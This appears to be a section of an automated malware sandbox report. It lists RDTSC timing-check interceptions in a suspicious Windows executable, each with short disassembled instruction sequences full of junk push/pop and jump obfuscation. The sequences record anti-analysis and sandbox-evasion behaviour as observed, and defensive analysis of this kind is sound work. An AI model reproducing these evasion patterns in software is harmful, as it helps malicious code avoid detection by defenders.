Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA4E59 second address: EA4E63 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA403C second address: EA40EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c movsx edi, dx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F1C24BF83F8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F1C24BF83F8h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 mov eax, dword ptr [ebp+122D16EDh] 0x00000057 mov dword ptr [ebp+122D184Eh], esi 0x0000005d push FFFFFFFFh 0x0000005f push 00000000h 0x00000061 push edi 0x00000062 call 00007F1C24BF83F8h 0x00000067 pop edi 0x00000068 mov dword ptr [esp+04h], edi 0x0000006c add dword ptr [esp+04h], 00000018h 0x00000074 inc edi 0x00000075 push edi 0x00000076 ret 0x00000077 pop edi 0x00000078 ret 0x00000079 nop 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007F1C24BF8406h 0x00000081 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA3126 second address: EA3136 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA219D second address: EA21A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA1292 second address: EA1297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA40EA second address: EA40EF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA3136 second address: EA314D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA21A1 second address: EA21A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA5E6C second address: EA5E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA5E70 second address: EA5E74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA7D69 second address: EA7D75 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1C24FCCA8Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA6076 second address: EA6093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F1C24BF83FFh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EA7D75 second address: EA7D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E55EE3 second address: E55EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E4F1B8 second address: E4F1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB0982 second address: EB09A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 push esi 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1C24BF83FDh 0x00000017 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB09A1 second address: EB09A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB09A9 second address: EB09B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB025F second address: EB0263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB4F2F second address: EB4F4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB4F4F second address: EB4F68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB4F68 second address: EB4F6D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB4F6D second address: EB4F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F1C24FCCA88h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB5202 second address: EB522C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1C24BF8405h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jnc 00007F1C24BF83F8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB522C second address: EB5230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA8D6 second address: EBA8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA8DA second address: EBA8F0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1C24FCCA86h 0x00000008 jc 00007F1C24FCCA86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA8F0 second address: EBA901 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB9C12 second address: EB9C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA97h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB9C2F second address: EB9C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1C24BF8403h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB9C4B second address: EB9C68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB9C68 second address: EB9C6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EB9C6D second address: EB9C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA8Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F1C24FCCA8Eh 0x00000014 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA0A8 second address: EBA0D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007F1C24BF83F6h 0x00000010 jmp 00007F1C24BF83FFh 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jl 00007F1C24BF83F6h 0x00000020 pushad 0x00000021 popad 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA57A second address: EBA5A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F1C24FCCA94h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F1C24FCCA8Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA5A2 second address: EBA5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007F1C24BF8408h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA5C0 second address: EBA5C5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA767 second address: EBA76D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA76D second address: EBA771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA771 second address: EBA775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA775 second address: EBA7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F1C24FCCA97h 0x00000010 pushad 0x00000011 popad 0x00000012 js 00007F1C24FCCA86h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EBA7A2 second address: EBA7B2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1C24BF8402h 0x00000008 ja 00007F1C24BF83F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC042F second address: EC044B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC648A second address: EC648E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC648E second address: EC64A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA91h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC4EC0 second address: EC4EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC4EC6 second address: EC4F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1C24FCCA86h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007F1C24FCCA99h 0x00000017 jmp 00007F1C24FCCA95h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC4F0C second address: EC4F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC5066 second address: EC506A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC506A second address: EC506E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC506E second address: EC5076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC51FA second address: EC5203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC5470 second address: EC547E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1C24FCCA86h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC55E3 second address: EC55E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC55E8 second address: EC5612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA8Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1C24FCCA94h 0x00000016 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC5612 second address: EC5627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC578B second address: EC579E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007F1C24FCCA86h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC5A4D second address: EC5A79 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1C24BF83F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F1C24BF8405h 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 popad 0x00000018 push edi 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: EC5A79 second address: EC5AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1C24FCCA8Eh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1C24FCCA93h 0x00000015 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E74047 second address: E7404B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7404B second address: E74051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E74051 second address: E74057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E74057 second address: E7405D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E7405D second address: E74061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8B28B second address: E8B28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8B390 second address: E8B394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8B394 second address: E8B398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8B609 second address: E8B60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8B60E second address: E8B620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24FCCA8Eh 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8B620 second address: E8B632 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jl 00007F1C24BF83FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8B946 second address: E8B96A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1C24FCCA8Ch 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F1C24FCCA8Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8BCFD second address: E8BD64 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1C24BF83F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007F1C24BF83FEh 0x00000011 push eax 0x00000012 jbe 00007F1C24BF83F6h 0x00000018 pop eax 0x00000019 nop 0x0000001a mov edx, edi 0x0000001c push 00000004h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F1C24BF83F8h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 nop 0x00000039 push esi 0x0000003a jmp 00007F1C24BF8409h 0x0000003f pop esi 0x00000040 push eax 0x00000041 push esi 0x00000042 push eax 0x00000043 push edx 0x00000044 jnl 00007F1C24BF83F6h 0x0000004a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8C249 second address: E8C255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E8C516 second address: E74047 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F1C24BF83F8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 ja 00007F1C24BF83F9h 0x0000002c sub dword ptr [ebp+122D241Dh], edx 0x00000032 call dword ptr [ebp+122D2278h] 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ECB342 second address: ECB346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ECB346 second address: ECB36F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1C24BF8400h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ECB626 second address: ECB62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ECB62C second address: ECB63A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F1C24BF83F6h 0x0000000e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ECB63A second address: ECB63E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ECB7A8 second address: ECB7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1C24BF83F6h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 ja 00007F1C24BF83F6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ECB7C0 second address: ECB7C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ECBAC2 second address: ECBAE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F1C24BF8401h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED11FF second address: ED1216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA92h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED1396 second address: ED139E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED139E second address: ED13B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA8Eh 0x00000009 jc 00007F1C24FCCA86h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED13B7 second address: ED13C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24BF83FBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: ED13C8 second address: ED13CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
